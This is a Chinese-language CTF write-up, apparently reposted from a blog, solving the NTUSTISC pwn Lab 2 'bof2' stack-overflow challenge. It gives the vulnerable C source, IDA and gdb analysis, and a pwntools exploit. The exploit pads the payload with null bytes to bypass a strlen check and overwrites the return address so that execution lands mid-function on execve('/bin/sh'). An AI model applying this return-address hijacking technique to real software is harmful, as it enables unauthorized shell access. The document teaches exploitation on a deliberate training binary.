[NTUSTISC pwn LAB 2]栈溢出:gdb动态调试bof2
Posted 漫小牛
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了[NTUSTISC pwn LAB 2]栈溢出:gdb动态调试bof2相关的知识,希望对你有一定的参考价值。
文章目录
一、考点
- 栈溢出
- gdb动态调试
- ida静态分析
- 0x00绕过
- 如何跳转到函数内部的某一跳语句执行
- pwntools脚本与二进制程序相结合的动态调试
二、相关资源
题目及相关资源的下载地址为:
链接:https://pan.baidu.com/s/1uRyQN1dzA0OLsgcn1UtYjg
提取码:vfdl
本次实验对应Lab2
三、题目
这是一道较基础的pwn题,同时不但给出了二进制文件,也给出了源文件:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
void y0u_c4n7_533_m3()
{
int allow = 0;
if (allow) {
execve("/bin/sh", 0, 0);
}
else {
puts("Oh no~~~!");
exit(0);
}
}
int main()
{
char buf[16];
puts("This is your second bof challenge ;)");
fflush(stdout);
read(0, buf, 0x30);
if (strlen(buf) >= 16) {
puts("Bye bye~~");
exit(0);
}
return 0;
}
四、解题过程
1、检查保护机制
checksec无任何保护机制:
2、运行查看效果
运行该程序,在用户输入时,填充大量的11111111,没有出现缓冲区溢出漏洞。
3、IDA伪代码和bof2.c的静态分析
拖入IDA进行静态分析,主函数main为:
int __cdecl main(int argc, const char **argv, const char **envp)
{
char buf[16]; // [rsp+0h] [rbp-10h] BYREF
puts("This is your second bof challenge ;)");
fflush(_bss_start);
read(0, buf, 0x30uLL);
if ( strlen(buf) > 0xF )
{
puts("Bye bye~~");
exit(0);
}
return 0;
}
除了主函数main外,可看到函数y0u_c4n7_533_m3:
void y0u_c4n7_533_m3()
{
puts("Oh no~~~!");
exit(0);
}
将ida和源代码中的y0u_c4n7_533_m3对照来看,似乎进行了常量传播和if优化,只保留了实际执行中的分支。
虽然伪代码中未显示/bin/sh的信息,但是在下图的汇编视图中仍然可以看到:
4、绕过关键点1
这道题要绕过两个关键点,第一个是主函数main中read后的if判断,read函数可以读取48个字符,但if条件中只允许字符长度为16,因此,可通过在payload中间的位置填充0x00,使得strlen函数截断,虽然read函数超过了16个字节,但strlen的返回值仍然不大于16。
5、绕过关键点2
第二个关键点是y0u_c4n7_533_m3函数中的变量allow为0,并不会执行execve("/bin/sh", 0, 0)语句,因此,这道题栈溢出覆盖的return address不能是y0u_c4n7_533_m3的地址,而应直接跳转到execve执行的位置。这个函数有三个参数,分别用rdi、rsi和rdx保存,跳转到0x4006AC时,正好可完成三个参数的传递。
6、gdb动态调试
使用gdb动态调试,分别进行如下操作:
gdb bof
b main
r
单步n,一直到read的位置,这是堆栈空间还没有被污染的样子,main函数执行完后,会从堆栈中弹出下一条指令的地址(这是main返回后要去的地方),即图中标红的部分:
单步n,任意输入一串数字,发现这个位置已被填充为dddddddd
7、编写exp
编写的exp为:
from pwn import *
r = process('./bof2')
magic = 0x4006ac
r.recvuntil(';)\\n')
payload = '\\x00'*24 +p64(magic)+'\\x00'*8+'\\x00'*8
r.send(payload)
r.interactive()
运行该脚本后,执行ls命令,可以看出已经拿到了shell:
五、动态验证(二进制+pwntools混合调试)
在exp中增加一行代码raw_input():
from pwn import *
r = process('./bof2')
raw_input()
magic = 0x4006ac
r.recvuntil(';)\\n')
payload = '\\x00'*24 +p64(magic)+'\\x00'*8+'\\x00'*8
r.send(payload)
r.interactive()
在当前窗口执行该python脚本,程序会因raw_input()这条语句卡在这里:
再打开另一终端并执行gdb bof,在gdb中输入attach 30314附加调试到bof2进程。
输入n,切换到执行python脚本的终端,按回车键跳过卡着的位置。再回到gdb的终端,这时可看到return address已经替换为y0u_c4n7_533_m3函数21偏移的位置。
继续按n,可看到绕过了strlen的判断,继续按n可看到成功跳转到了<y0u_c4n7_533_m3+21>:
继续n单步,到<y0u_c4n7_533_m3+38> 时,可看到三个参数已正确传递:
继续按一下n,执行/bin/sh,得到shell。
这种调试方法也是pwn手所必备的技能,通过raw_input()的方式,实现pwntools脚本与二进制程序交互的同时,实现了pwntools脚本与二进制程序相结合的动态调试。
以上是关于[NTUSTISC pwn LAB 2]栈溢出:gdb动态调试bof2的主要内容,如果未能解决你的问题,请参考以下文章
[NTUSTISC pwn LAB 3]栈溢出:返回值跳转到shellcode ret2sc 实验
[NTUSTISC pwn LAB 4]gothijacking入门实验
[NTUSTISC pwn LAB 6]rop&Return to plt实验